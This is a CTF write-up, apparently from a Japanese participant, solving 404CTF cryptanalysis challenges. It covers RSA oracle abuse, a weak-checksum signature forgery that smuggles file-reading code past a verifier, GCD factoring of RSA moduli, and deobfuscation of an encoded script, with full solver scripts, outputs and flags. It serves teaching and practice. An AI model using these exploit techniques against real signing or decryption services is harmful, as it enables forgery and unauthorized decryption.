Voici le message secret que je dois garder. Vous pouvez le voir, de toute façon vous ne pourrez rien en faire! 6858896053246975327469406934882892635849837692092134310447065337719251301015708531130458860605898989472760883376585038925113435239079074760033009562106493342470627416796495591610210395619051508456618283082563042549891985428357424529169222622489882047161567350184050373636362488389607400127324675779406659328205365125733882621756853942731060516108054426740061530665062264847898271148297806304114416014615806328393994025590530569804850364841342519963941824248436727547325093297398762195495534526714574699903441807251235977461591051722862695804849649634191689650119996319931602456320521314601526796026164388422484493636 J'en profite également pour noter quelques informations ici: N = 27185173146439443375677991233018421845725305474577180348308240801153165956714148084962005230500648367250632862798457724223245414899368971413419633377227432694965051486510831102613384135143346880263089537352567198795582101787505185099455979372581579867387527693306531053715714698061354636691919848160006744511810110483660802052046037855817130608836916677514227875012474774373813379500279867857030057196877673695730824315581208036031236574433979599291738784820840858055673142933006362672043205796787351574885847407175698480735651461265738563791968360530243394638882250314357705750037104165088665852062277681227319709409 e = 65537 Ceci étant dit, passons à ce que vous vouliez me dire! > 2 Voici ma réponse: 3026544298092129508143585948309971578806324651910693081926937133434782374425398482426425062309615615750582666011068807715607550029046027229149024187471870361200497741679469903401770827333162571668537216481041322571092758020776902940765652746261490636536946684875617697910452069312702917517384187520788937048820030601169268266552327592732876443572630016751107404237097493667495214353730485265806199973278005933431183912938764812837210398245451938465233352365292396110640734950383831029219323978318862218816088555760206646881893135078359761726809132337134527780067899433972261571435973838786961645662124866772428014746 > 3429448026623487663734703467441446317924918846046067155223532668859625650507854265565229430302949494736380441688292519462556717619539537380016504781053246671235313708398247795805105197809525754228309141541281521274945992714178712264584611311244941023580783675092025186818181244194803700063662337889703329664102682562866941310878426971365530258054027213370030765332531132423949135574148903152057208007307903164196997012795265284902425182420671259981970912124218363773662546648699381097747767263357287349951720903625617988730795525861431347902424824817095844825059998159965801228160260657300763398013082194211242246818 Voici ma réponse: 8413241987655940600542324967899456703564993905095087332386510981956174101260586199368775958946303760263350099546927108403346655412546666081605634394471432140164234221579427631429194947282285562056548713717942439446614752176578500688474191293025908520184856027003530136058411706866872577150557772831403009406624514005344830732596416369976072226201569100816390134215570434002536754615330415159875585964918694786402456394724508015660995003504524479828312454509981178706675571174854772073807072093648749255846169755777209641480598699742118858590780370848795483655909956828249794693669724846318720677711454421549746409732 404CTF{L3s_0r4cl3s_RSA_s0n7_si_fr4g1l35}
404CTF{L3s_0r4cl3s_RSA_s0n7_si_fr4g1l35}
Un simple oracle [2/2] (Cryptanalyse)
$ nc challenge.404ctf.fr 30594 Il y a eu quelques petits problèmes lors de ma précédente itération, mais tout a été résolu! Je peux à nouveau montrer mon secret sans craintes: 17547541355610893498405387371181743073327979480925640068444492085587811865755303194072980977692121241754866365069464695694563697861950328030628612085149921674878577524455854726624593569175184670453748472302822811255557872737826461219793604400654989038274815268986403349658585670352840373202504399893210435547091717019223699308611610309923091508516336353825262781226803682135100972573230958897092547791531164538523914959243434949876194661789509121845865812736878649625754954500313826713178138302526525394889458296945037041004607602738634977543505160268127420697852111106681494457624569857521695295246379038868808391960 Par mesure de sécurité, je ne peux malheureusement plus tout partager ici: e = 65537 Ceci étant dit, passons à ce que vous vouliez me dire! > 1 Voici ma réponse: 1 > 2 Voici ma réponse: 8951834460748554438539207248242605795468210345301780105920515151160245895105844311737124220872558750776386260045288124024250330098090463689740145543122195464417749812566644538042200353102847886896312309911932467313006105377594823852788278619213405800720525112696077652267752397100574873210211294418032176846662302928072543960029731416736943486647542098078628270344997712114476044387792574461729151684707870221943340969775338423636943434232322067704387694561933233654566141488993053970152890295143988339839680357531639357387460789264367851616350275780990508091979063246688352187413283232120195356905259914061851257251 > -1 Voici ma réponse: 24033354224021992826812126917396142699186753334631944857602321927891178827088234743175331328565085572833621799926155475723123849665904399552492015335519845383412791193470459994782228324233833219620317423934012299607160735135541101738446294540490294661281722815694535767606126144894087214989341739387763887057386605418303152309581047186675092738168124346939538022369144090902697769030955928375288422192725742559463331704287129247596645899230738952920975884962757662397725196168665946639147673119419010526761289430542523558635456506774288564201342636343587606994045305503462740236234165809952642905327872149616885475570 >
>>> e = 65537 >>> m = 8951834460748554438539207248242605795468210345301780105920515151160245895105844311737124220872558750776386260045288124024250330098090463689740145543122195464417749812566644538042200353102847886896312309911932467313006105377594823852788278619213405800720525112696077652267752397100574873210211294418032176846662302928072543960029731416736943486647542098078628270344997712114476044387792574461729151684707870221943340969775338423636943434232322067704387694561933233654566141488993053970152890295143988339839680357531639357387460789264367851616350275780990508091979063246688352187413283232120195356905259914061851257251 >>> N = 24033354224021992826812126917396142699186753334631944857602321927891178827088234743175331328565085572833621799926155475723123849665904399552492015335519845383412791193470459994782228324233833219620317423934012299607160735135541101738446294540490294661281722815694535767606126144894087214989341739387763887057386605418303152309581047186675092738168124346939538022369144090902697769030955928375288422192725742559463331704287129247596645899230738952920975884962757662397725196168665946639147673119419010526761289430542523558635456506774288564201342636343587606994045305503462740236234165809952642905327872149616885475571 >>> pow(m, e, N) 2
[1/2]の場合は、Nが提示されていたが、今回は提示されない。-1を指定すればN - 1の値が取得できるので、Nは算出できる。あとは[1/2]と同様に提示された暗号を復号できる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.404ctf.fr', 30594)) for _ in range(3): data = recvuntil(s, b'\n').rstrip() print(data) c = int(data) found = False for c1 in range(2, 1024): if c % c1 == 0: found = True break assert found c2 = c // c1 for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'> ') print(data + str(-1)) s.sendall(str(-1).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) N = int(data) + 1 data = recvuntil(s, b'> ') print(data + str(c1)) s.sendall(str(c1).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) m1 = int(data) data = recvuntil(s, b'> ') print(data + str(c2)) s.sendall(str(c2).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) m2 = int(data) m = (m1 * m2) % N flag = long_to_bytes(m).decode() print(flag)
実行結果は以下の通り。
Il y a eu quelques petits problèmes lors de ma précédente itération, mais tout a été résolu! Je peux à nouveau montrer mon secret sans craintes: 16268066850722528054040161635339200404001296293825212014885875027566215603258822737349411008598115929318187941601669436101977170167897116564719454683050434289041447106286104176447316449233620759755344736419916062517376100655050653824883577908707455183441013079110338722593330410458995466805267682800515013458337206484716820131161003729815424547532276528506554994327771586962488622758448331664931728270367323663664541369368665118450288728448957540613230965960355469347126009726960699379004213452313965388765166953693189309649435286281536228255344741423949170475017025318930104461347272366843117906433451414255823297812 Par mesure de sécurité, je ne peux malheureusement plus tout partager ici: e = 65537 Ceci étant dit, passons à ce que vous vouliez me dire! > -1 Voici ma réponse: 19395782703278700564307508450278954159309091855754581639399819849900425335209440234600925902554138691361291332454667108639976728275079327006985453637108557656124916607471644750258922683422299197123591097164381270705165893945991974643245087913114484690461496786198675496939675333204629630860947729982648411812994603674620840039651212370883360330031757483777276221646085751590261971835436349162903405989220964581770070325498503406735397830075433097421582537571329846868058492380635981785365100523624458894657247687805140360770698373867820609526287438893281038369066459104054261940237651086222501902202320688265447944592 > 2 Voici ma réponse: 1771799627004425500155132824599034069403767201210081024072145612347414151097788088700657632843063722029550077468084757510983696815043018211210290767686696521583271376918856162373343551819412968481972311774600110098531360172336600431016447481400636547400059599718975200905038599288270036008068207689373684887706341486141628697352050658257352760064022138617128775458471057529978061653771428061023331770597578810573839251822628819556072282482662740582986212290474019673330182342216068538730778570972545066413739307317797632168089256005880520888166097503740766064247392223028726559018188767669682316226406498882560933718 > 8134033425361264027020080817669600202000648146912606007442937513783107801629411368674705504299057964659093970800834718050988585083948558282359727341525217144520723553143052088223658224616810379877672368209958031258688050327525326912441788954353727591720506539555169361296665205229497733402633841400257506729168603242358410065580501864907712273766138264253277497163885793481244311379224165832465864135183661831832270684684332559225144364224478770306615482980177734673563004863480349689502106726156982694382583476846594654824717643140768114127672370711974585237508512659465052230673636183421558953216725707127911648906 Voici ma réponse: 10527742480651103231713414043771541925284669581426239334937886744780758458240359616847710003234008639096360606778862149016782419541398492671834231713151293140790879293320286735419135447502207339545938439348521004954991176628779519555490821234761862541485145357792401131776753218132885701005609110180029720641065111380075654565834542489941817627389601392074372890445810480089895115331979258744832463567760376123784013601029192417339666337987738580277062281966153848503621685438287173175571330693851341454603779242947537169571839890160286965594849041013401493323721498442762547722653930270643453184805369602678107672520 404CTF{L3_m0dul3_357_t0uj0ur5_7r0uv4bl3}
404CTF{L3_m0dul3_357_t0uj0ur5_7r0uv4bl3}
Weak Signature (Cryptanalyse)
Signの処理概要は以下の通り。
・signature = compute_signature(data, private_key, mod) ・chksum = checksum(data) ・chksum: dataのASCIIコードの和 * dataの長さ ・signature = pow(chksum, private_key, mod) (chksum = pow(signature, 65537, mod)) ・signature_bytes = signature.to_bytes(300, "big")
dataのASCIIコードの和 * dataの長さが同じであれば、同じシグネチャを使用できる。コメント行を使い、以下のコードを実行できるようにする。
print(open("flag.txt").read())
#!/usr/bin/env python3 import socket import base64 def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) with open('script.py.zsig', 'rb') as f: magic = f.read(5) assert magic == b'\x01ZSig' assert f.read(1) == b'\x02' bytes_signature = f.read(300) signature = int.from_bytes(bytes_signature, 'big') assert f.read(1) == b'\x03' bytes_size = f.read(4) size = int.from_bytes(bytes_size, 'big') assert f.read(1) == b'\x04' data = f.read() assert len(data) == size head = b'# ' tail = b'\n\nprint(open("flag.txt").read())' sum_remain = sum(data) - (sum(head) + sum(tail)) len_remain = len(data) - (len(head) + len(tail)) div = sum_remain // len_remain mod = sum_remain % len_remain comment = bytes([div]) * (len_remain - mod) comment += bytes([div + 1]) * mod send_data = magic send_data += b'\x02' send_data += bytes_signature send_data += b'\x03' send_data += bytes_size send_data += b'\x04' send_data += head + comment + tail send_data = base64.b64encode(send_data) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.404ctf.fr', 32441)) data = recvuntil(s, b'\n').rstrip() print(data) print(send_data) s.sendall(send_data + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Send me a signed archive encoded in base 64: b'AVpTaWcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA28PjfBE7saFl5OLzbCpAbI+sXlK3fpUSFH5K6oXBMFo5yN8OeTeIhdGZyELGoga6BKprc7B4L6FxQkKRsQ53tROJeqEZtAC7UZNhZAjqSSntfyOAvDyCnfOoMs1HF2QoWoIsnHXZ+E9bbBjJEIe1JgLD2bYORSjUaO342dMBoJhOmipCDQUnfwxtxO5jhu0eUJvyH1bVT9ZU0K1NxHWCWR1s/P6L80f0MuCjII6kVVcU+M47ySSKocNcQP+obVonXLV7L52a9eUk9NtViTgst5KIkAE3TCLUK1Yt1/DnM8F7s32PyrOWgMDJ2f4q/UweoiyqPoPk63BQkhEWTnc+AwAAAHoEIyBUVFRUVFRVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVCgpwcmludChvcGVuKCJmbGFnLnR4dCIpLnJlYWQoKSk=' 404CTF{Th1s_Ch3cksum_W4s_Tr4sh}
404CTF{Th1s_Ch3cksum_W4s_Tr4sh}
Un point c'est tout (Cryptanalyse)
たくさんあるmの中にnとの公約数が1でないものを探すと、存在したので、p, qを割り出せる。あとはそのまま復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('data.txt', 'r') as f: data = f.read().splitlines() ms = [int(data[i].split(' ')[1], 16) for i in range(0, len(data) - 2, 6)] cs = [int(data[i].split(' ')[1], 16) for i in range(1, len(data) - 2, 6)] N = int(data[1200].split(' ')[1][:-1], 16) e = int(data[1200].split(' ')[3], 16) encrypted_flag = int(data[1201].split(' ')[1], 16) for m in ms: p = GCD(N, m) if p > 1: q = N // p break print('[+] p =', p) print('[+] q =', q) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(encrypted_flag, d, N) flag = long_to_bytes(m).decode() print('[*] flag:', flag)
実行結果は以下の通り。
[+] p = 155049753042699379284405913334974736081947034453440265765565714632893833266240358819505658549329764196482261772160503174067712120216578902991356315457576279476556108560693053168941159991939763846880402044933872888684753543267474968212439640459297331562744346790242005710055448998081654374865659937687234543437 [+] q = 142259697433300919939842401359929747771230586832025361599504948705442285637309595011110242808242610941252894709115956531330752421111628899492037876350866723885700097234304729129112408675903251340080109263483364427005148661660381246459509372077674757697446716575562385199943332804101163273785884074596884905371 [*] flag: 404CTF{f1x3d_P01n75_4Re_v3ry_C00l}
404CTF{f1x3d_P01n75_4Re_v3ry_C00l}
La fonte des hashs (Cryptanalyse)
codeの難読化をほどいていく。
#!/usr/bin/env python3 import base64, codecs magic = 'IyEvdXNyL2Jpbi9weXRob24KIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHN5cwoKCgojIGZyb20gaHR0cHM6Ly9hc2VjdXJpdHlzaXRlLmNvbS9zdWJqZWN0cy9jaGFwdGVyODgKc2JveCA9IFsnMDExMDAwMTEnLCAnMDExMTExMDAnLCAnMDExMTAxMTEnLCAnMDExMTEwMTEnLCAnMTExMTAwMTAnLCAnMDExMDEwMTEnLCAnMDExMDExMTEnLCAnMTEwMDAxMDEnLCAnMDAxMTAwMDAnLCAnMDAwMDAwMDEnLCAnMDExMDAxMTEnLCAnMDAxMDEwMTEnLCAnMTExMTExMTAnLCAnMTEwMTAxMTEnLCAnMTAxMDEwMTEnLCAnMDExMTAxMTAnLCAnMTEwMDEwMTAnLCAnMTAwMDAwMTAnLCAnMTEwMDEwMDEnLCAnMDExMTExMDEnLCAnMTExMTEwMTAnLCAnMDEwMTEwMDEnLCAnMDEwMDAxMTEnLCAnMTExMTAwMDAnLCAnMTAxMDExMDEnLCAnMTEwMTAxMDAnLCAnMTAxMDAwMTAnLCAnMTAxMDExMTEnLCAnMTAwMTExMDAnLCAnMTAxMDAxMDAnLCAnMDExMTAwMTAnLCAnMTEwMDAwMDAnLCAnMTAxMTAxMTEnLCAnMTExMTExMDEnLCAnMTAwMTAwMTEnLCAnMDAxMDAxMTAnLCAnMDAxMTAxMTAnLCAnMDAxMTExMTEnLCAnMTExMTAxMTEnLCAnMTEwMDExMDAnLCAnMDAxMTAxMDAnLCAnMTAxMDAxMDEnLCAnMTExMDAxMDEnLCAnMTExMTAwMDEnLCAnMDExMTAwMDEnLCAnMTEwMTEwMDAnLCAnMDAxMTAwMDEnLCAnMDAwMTAxMDEnLCAnMDAwMDAxMDAnLCAnMTEwMDAxMTEnLCAnMDAxMDAwMTEnLCAnMTEwMDAwMTEnLCAnMDAwMTEwMDAnLCAnMTAwMTAxMTAnLCAnMDAwMDAxMDEnLCAnMTAwMTEwMTAnLCAnMDAwMDAxMTEnLCAnMDAwMTAwMTAnLCAnMTAwMDAwMDAnLCAnMTExMDAwMTAnLCAnMTExMDEwMTEnLCAnMDAxMDAxMTEnLCAnMTAxMTAwMTAnLCAnMDExMTAxMDEnLCAnMDAwMDEwMDEnLCAnMTAwMDAwMTEnLCAnMDAxMDExMDAnLCAnMDAwMTEwMTAnLCAnMDAwMTEwMTEnLCAnMDExMDExMTAnLCAnMDEwMTEwMTAnLCAnMTAxMDAwMDAnLCAnMDEwMTAwMTAnLCAnMDAxMTEwMTEnLCAnMTEwMTAxMTAnLCAnMTAxMTAwMTEnLCAnMDAxMDEwMDEnLCAnMTExMDAwMTEnLCAnMDAxMDExMTEnLCAnMTAwMDAxMDAnLCAnMDEwMTAwMTEnLCAnMTEwMTAwMDEnLCAnMDAwMDAwMDAnLCAnMTExMDExMDEnLCAnMDAxMDAwMDAnLCAnMTExMTExMDAnLCAnMTAxMTAwMDEnLCAnMDEwMTEwMTEnLCAnMDExMDEwMTAnLCAnMTEwMDEwMTEnLCAnMTAxMTExMTAnLCAnMDAxMTEwMDEnLCAnMDEwMDEwMTAnLCAnMDEwMDExMDAnLCAnMDEwMTEwMDAnLCAnMT' love = 'RjZQRkZGRaYPNaZGRjZGNjZQNaYPNaZGRkZQRkZGRaYPNaZGNkZQRjZGNaYPNaZGRkZGRjZGRaYPNaZQRjZQNjZGRaYPNaZQRjZQRkZQRaYPNaZQNkZGNjZGRaYPNaZGNjZQNkZQRaYPNaZQRjZQNkZQRaYPNaZGRkZGRjZQRaYPNaZQNjZQNjZGNaYPNaZQRkZGRkZGRaYPNaZQRjZGNjZQNaYPNaZQNkZGRkZQNaYPNaZGNjZGRkZGRaYPNaZGNkZQRjZQNaYPNaZQRjZGNjZQRaYPNaZGNkZQNjZGRaYPNaZQRjZQNjZQNaYPNaZGNjZQRkZGRaYPNaZGNjZGNjZGNaYPNaZGNjZGRkZQRaYPNaZQNkZGRjZQNaYPNaZGRkZGNkZQRaYPNaZGNkZGRkZQNaYPNaZGNkZGNkZGNaYPNaZGRjZGRjZGNaYPNaZQNkZQNjZQRaYPNaZQNjZGNjZQNaYPNaZGRkZGRkZGRaYPNaZGRkZGNjZGRaYPNaZGRjZGNjZGNaYPNaZGRjZQRkZQRaYPNaZQNjZQRkZQNaYPNaZQNjZGNjZGRaYPNaZGRkZQRkZQNaYPNaZQRjZGRkZGRaYPNaZGNjZGNkZGRaYPNaZQRjZQNkZQNaYPNaZQNjZGNkZGRaYPNaZGRjZQNkZQNaYPNaZGNkZQNkZGRaYPNaZQRkZGRkZGNaYPNaZQNkZGRkZQRaYPNaZQRkZQNkZQNaYPNaZQRjZGRkZQRaYPNaZQNjZGRjZQRaYPNaZQRkZGNjZGRaYPNaZQRkZQNjZQNaYPNaZGNjZQNjZQRaYPNaZQRjZQRkZGRaYPNaZGRjZGRkZQNaYPNaZQNkZQNjZGNaYPNaZQNkZQRjZGNaYPNaZGNjZGNjZQNaYPNaZGNjZQRjZQNaYPNaZQRjZQNkZGNaYPNaZGRkZQRkZGNaYPNaZGNkZGRjZQNaYPNaZQNjZGNkZQNaYPNaZGRjZGRkZGNaYPNaZQRjZGRkZGNaYPNaZQNjZQRjZGRaYPNaZGRjZGRjZGRaYPNaZGRkZQNjZQNaYPNaZQNkZGNjZGNaYPNaZQNkZGRjZGNaYPNaZQNjZQRjZGNaYPNaZQRjZQRjZQRaYPNaZQNjZQNkZGNaYPNaZQNkZQNkZQNaYPNaZQRjZGRkZQNaYPNaZGRjZQNjZGNaYPNaZGRjZGNjZGRaYPNaZGNkZQRkZQNaYPNaZQRkZQNjZGNaYPNaZGNjZGNjZQRaYPNaZGNjZGNkZQRaYPNaZGRkZQNkZQNaYPNaZQRkZGRjZQRaYPNaZGRkZQNkZGRaYPNaZGRjZQRjZQNaYPNaZQNkZGNkZGRaYPNaZQRkZQRkZQRaYPNaZGNjZQRkZQRaYPNaZGRjZGNkZQRaYPNaZQRjZQRkZGNaYPNaZGNkZQRjZQRaYPNaZQRkZQRkZQNaYPNaZQRjZGNkZGNaYPNaZGRkZGNkZQNaYPNaZGRkZQRjZGNaYPNaZQRkZQNkZQRaYPNaZQRkZGRjZGNaYPNaZGNkZQRkZGNaYPNaZQNjZQRjZQNaYPNaZGNkZGRjZGNaYPNaZQRkZGRjZQNaYPNaZQNkZQNkZQRaYPNaZQNkZQRkZGNaYPNaZQNjZGRkZQNaYPNaZGNkZQNkZGNaYPNaZGNkZGNkZQNaYPNaZGRjZQNkZGNaYPNa' god = 'MTExMDEwMDAnLCAnMTEwMTExMDEnLCAnMDExMTAxMDAnLCAnMDAwMTExMTEnLCAnMDEwMDEwMTEnLCAnMTAxMTExMDEnLCAnMTAwMDEwMTEnLCAnMTAwMDEwMTAnLCAnMDExMTAwMDAnLCAnMDAxMTExMTAnLCAnMTAxMTAxMDEnLCAnMDExMDAxMTAnLCAnMDEwMDEwMDAnLCAnMDAwMDAwMTEnLCAnMTExMTAxMTAnLCAnMDAwMDExMTAnLCAnMDExMDAwMDEnLCAnMDAxMTAxMDEnLCAnMDEwMTAxMTEnLCAnMTAxMTEwMDEnLCAnMTAwMDAxMTAnLCAnMTEwMDAwMDEnLCAnMDAwMTExMDEnLCAnMTAwMTExMTAnLCAnMTExMDAwMDEnLCAnMTExMTEwMDAnLCAnMTAwMTEwMDAnLCAnMDAwMTAwMDEnLCAnMDExMDEwMDEnLCAnMTEwMTEwMDEnLCAnMTAwMDExMTAnLCAnMTAwMTAxMDAnLCAnMTAwMTEwMTEnLCAnMDAwMTExMTAnLCAnMTAwMDAxMTEnLCAnMTExMDEwMDEnLCAnMTEwMDExMTAnLCAnMDEwMTAxMDEnLCAnMDAxMDEwMDAnLCAnMTEwMTExMTEnLCAnMTAwMDExMDAnLCAnMTAxMDAwMDEnLCAnMTAwMDEwMDEnLCAnMDAwMDExMDEnLCAnMTAxMTExMTEnLCAnMTExMDAxMTAnLCAnMDEwMDAwMTAnLCAnMDExMDEwMDAnLCAnMDEwMDAwMDEnLCAnMTAwMTEwMDEnLCAnMDAxMDExMDEnLCAnMDAwMDExMTEnLCAnMTAxMTAwMDAnLCAnMDEwMTAxMDAnLCAnMTAxMTEwMTEnLCAnMDAwMTAxMTAnXQoKCgoKZGVmIHN0cmluZzJiaXRzKHM9JycpOgogICAgdG1wID0gW10KICAgIGZvciB4IGluIHMgOgogICAgICAgIGJ5dGUgPSBiaW4ob3JkKHgpKVsyOl0KICAgICAgICBpZiBsZW4oYnl0ZSkgPiA4OgogICAgICAgICAgICBpbmRpY2VzID0gW2kgZm9yIGkgaW4gcmFuZ2UoMCwgbGVuKGJ5dGUpLCA4KV0KICAgICAgICAgICAgcGFydHMgPSBbIiIuam9pbihieXRlW2k6al0pLnpmaWxsKDgpIGZvciBpLGogaW4gemlwKGluZGljZXMsIGluZGljZXNbMTpdK1tOb25lXSldCiAgICAgICAgICAgIHRtcCArPSAocGFydHMpCiAgICAgICAgZWxzZSA6CiAgICAgICAgICAgIGJ5dGUgPSBieXRlLnpmaWxsKDgpCiAgICAgICAgICAgIHRtcC5hcHBlbmQoYnl0ZSkKICAgIHJldHVybiB0bXAKCmRlZiBwYWRkaW5nKGJpbmFyeSk6CiAgICBpZigobGVuKGJpbmFyeSkgKyAxICkgJSAzMiA9PSAwKToKICAgICAgICBiaW5hcnkuYXBwZW5kKCcwMDAwMDAwMScpCiAgICAgICAgYmluYXJ5LmFwcGVuZCgnMDAwMDAwMDAnKQogICAgaWYobGVuKGJpbmFyeSklMzIgIT0gMCBvciBsZW4oYmluYXJ5KSA9PSAwKToKICAgICAgICBiaW5hcnkuYXBwZW5kKCcwMD' destiny = 'NjZQNjZFpcPvNtVPNtVPNtq2ucoTHtoTIhXTWcozSlrFxyZmVtVG0tZQbXVPNtVPNtVPNtVPNtLzyhLKW5YzSjpTIhMPtaZQNjZQNjZQNaXDbXMTIzVUuipvuuYTVcBtbtVPNtpzImVQ0tVvVXVPNtVTMipvOcVTyhVUWuozqyXTkyovuuXFx6PvNtVPNtVPNtVPNtVUWyplNeCFOmqUVbnJ50XTSonI0cVS4tnJ50XTWonI0cXDbtVPNtpzI0qKWhVUWypjbXMTIzVUAvo3uso3OyXTWcozSlrFx6PvNtVPOzo3VtnFOcovOlLJ5aMFufMJ4bLzyhLKW5XFx6PvNtVPNtVPNtnJ5xMKttCFOcoaDbLzyhLKW5J2yqYQVcPvNtVPNtVPNtLzyhLKW5J2yqVQ0tp2WirSgcozEyrS0XPzEyMvOjnTSmMGRbLzyhLKW5XGbXVPNtVT0tCFOcoaDboTIhXTWcozSlrFxtYlNmZvxXVPNtVUEgpPN9VSgqPvNtVPOzo3VtnFOcovOlLJ5aMFtjYPOfMJ4bLzyhLKW5XFjtoFx6PvNtVPNtVPNtqT1jYzSjpTIhMPu4o3VbLzyhLKW5J2yqYPOvnJ5upayonFfkKFxcPvNtVPOlMKE1pz4tqT1jPtcxMJLtpTuup2HlXTWcozSlrFx6PvNtVPOzo3VtnFOcovOlLJ5aMFtkYTkyovuvnJ5upaxcXGbXVPNtVPNtVPOzo3VtnvOcovOlLJ5aMFucXGbXVPNtVPNtVPNtVPNtLzyhLKW5J2yqVQ0trT9lXTWcozSlrIgcKFjtLzyhLKW5J2cqXDbXMTIzVTWcqUZlnTI4XTWcozSlrFx6PvNtVPObMKusp3ElVQ0tVvVXVPNtVTMipvOvnKDtnJ4tLzyhLKW5BtbtVPNtVPNtVTuyrS9mqUVtXm0tMz9loJS0XTyhqPuvnKDfVQVcYPNaZQW4WlxXVPNtVUWyqUIlovObMKusp3ElPtcxMJLtnPugXGbXVPNtVUOfLJyhVQ0toDbtVPNtLzyhLKW5VQ0tp3ElnJ5aZzWcqUZbpTkunJ4cPvNtVPOjLJExnJ5aXTWcozSlrFxXVPNtVTyzVTkyovuvnJ5upaxcVQ4tZmV6PvNtVPNtVPNtLzyhLKW5VQ0tpTuup2HkXTWcozSlrFxXVPNtVUObLKAyZvuvnJ5upaxcPvNtVPOjnTSmMGVbLzyhLKW5XDbtVPNtpTuup2HlXTWcozSlrFxXVPNtVUAvo3uso3OyXTWcozSlrFxXVPNtVTuup2usp3ElVQ0tLzy0pmWbMKtbLzyhLKW5XDbtVPNtpzI0qKWhVTuup2usp3ElPtbXpTkunJ4tCFNtVvVXnJLtoTIhXUA5pl5upzq2XFN9CFNkBtbtVPNtpUWcoaDbVxS1L3IhVTSlM3IgMJ50VTEioz7QdF4tHzyyovQQbPObLJAbMKVhVRW5MFOvrJHhVvxXMJkcMvOfMJ4bp3ymYzSlM3LcVQ49VQVtBtbtVPNtpTkunJ4tXm0tp3ymYzSlM3MoZI0XVPNtVTMipvOcVTyhVUWuozqyXQVfoTIhXUA5pl5upzq2XFx6PvNtVPNtVPNtpTkunJ4tXm0tVvNvVPftp3ElXUA5pl5upzq2J2yqXDbtVPNtpUWcoaDbnPujoTScovxcPt==' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') exec_code = base64.b64decode(eval('\x74\x72\x75\x73\x74')).decode() print(exec_code)
#!/usr/bin/python # -*- coding: utf-8 -*- import sys # from https://asecuritysite.com/subjects/chapter88 sbox = ['01100011', '01111100', '01110111', '01111011', '11110010', '01101011', '01101111', '11000101', '00110000', '00000001', '01100111', '00101011', '11111110', '11010111', '10101011', '01110110', '11001010', '10000010', '11001001', '01111101', '11111010', '01011001', '01000111', '11110000', '10101101', '11010100', '10100010', '10101111', '10011100', '10100100', '01110010', '11000000', '10110111', '11111101', '10010011', '00100110', '00110110', '00111111', '11110111', '11001100', '00110100', '10100101', '11100101', '11110001', '01110001', '11011000', '00110001', '00010101', '00000100', '11000111', '00100011', '11000011', '00011000', '10010110', '00000101', '10011010', '00000111', '00010010', '10000000', '11100010', '11101011', '00100111', '10110010', '01110101', '00001001', '10000011', '00101100', '00011010', '00011011', '01101110', '01011010', '10100000', '01010010', '00111011', '11010110', '10110011', '00101001', '11100011', '00101111', '10000100', '01010011', '11010001', '00000000', '11101101', '00100000', '11111100', '10110001', '01011011', '01101010', '11001011', '10111110', '00111001', '01001010', '01001100', '01011000', '11001111', '11010000', '11101111', '10101010', '11111011', '01000011', '01001101', '00110011', '10000101', '01000101', '11111001', '00000010', '01111111', '01010000', '00111100', '10011111', '10101000', '01010001', '10100011', '01000000', '10001111', '10010010', '10011101', '00111000', '11110101', '10111100', '10110110', '11011010', '00100001', '00010000', '11111111', '11110011', '11010010', '11001101', '00001100', '00010011', '11101100', '01011111', '10010111', '01000100', '00010111', '11000100', '10100111', '01111110', '00111101', '01100100', '01011101', '00011001', '01110011', '01100000', '10000001', '01001111', '11011100', '00100010', '00101010', '10010000', '10001000', '01000110', '11101110', '10111000', '00010100', '11011110', '01011110', '00001011', '11011011', '11100000', '00110010', '00111010', '00001010', '01001001', '00000110', '00100100', '01011100', '11000010', '11010011', '10101100', '01100010', '10010001', '10010101', '11100100', '01111001', '11100111', '11001000', '00110111', '01101101', '10001101', '11010101', '01001110', '10101001', '01101100', '01010110', '11110100', '11101010', '01100101', '01111010', '10101110', '00001000', '10111010', '01111000', '00100101', '00101110', '00011100', '10100110', '10110100', '11000110', '11101000', '11011101', '01110100', '00011111', '01001011', '10111101', '10001011', '10001010', '01110000', '00111110', '10110101', '01100110', '01001000', '00000011', '11110110', '00001110', '01100001', '00110101', '01010111', '10111001', '10000110', '11000001', '00011101', '10011110', '11100001', '11111000', '10011000', '00010001', '01101001', '11011001', '10001110', '10010100', '10011011', '00011110', '10000111', '11101001', '11001110', '01010101', '00101000', '11011111', '10001100', '10100001', '10001001', '00001101', '10111111', '11100110', '01000010', '01101000', '01000001', '10011001', '00101101', '00001111', '10110000', '01010100', '10111011', '00010110'] def string2bits(s=''): tmp = [] for x in s : byte = bin(ord(x))[2:] if len(byte) > 8: indices = [i for i in range(0, len(byte), 8)] parts = ["".join(byte[i:j]).zfill(8) for i,j in zip(indices, indices[1:]+[None])] tmp += (parts) else : byte = byte.zfill(8) tmp.append(byte) return tmp def padding(binary): if((len(binary) + 1 ) % 32 == 0): binary.append('00000001') binary.append('00000000') if(len(binary)%32 != 0 or len(binary) == 0): binary.append('00000001') while len(binary)%32 != 0: binary.append('00000000') def 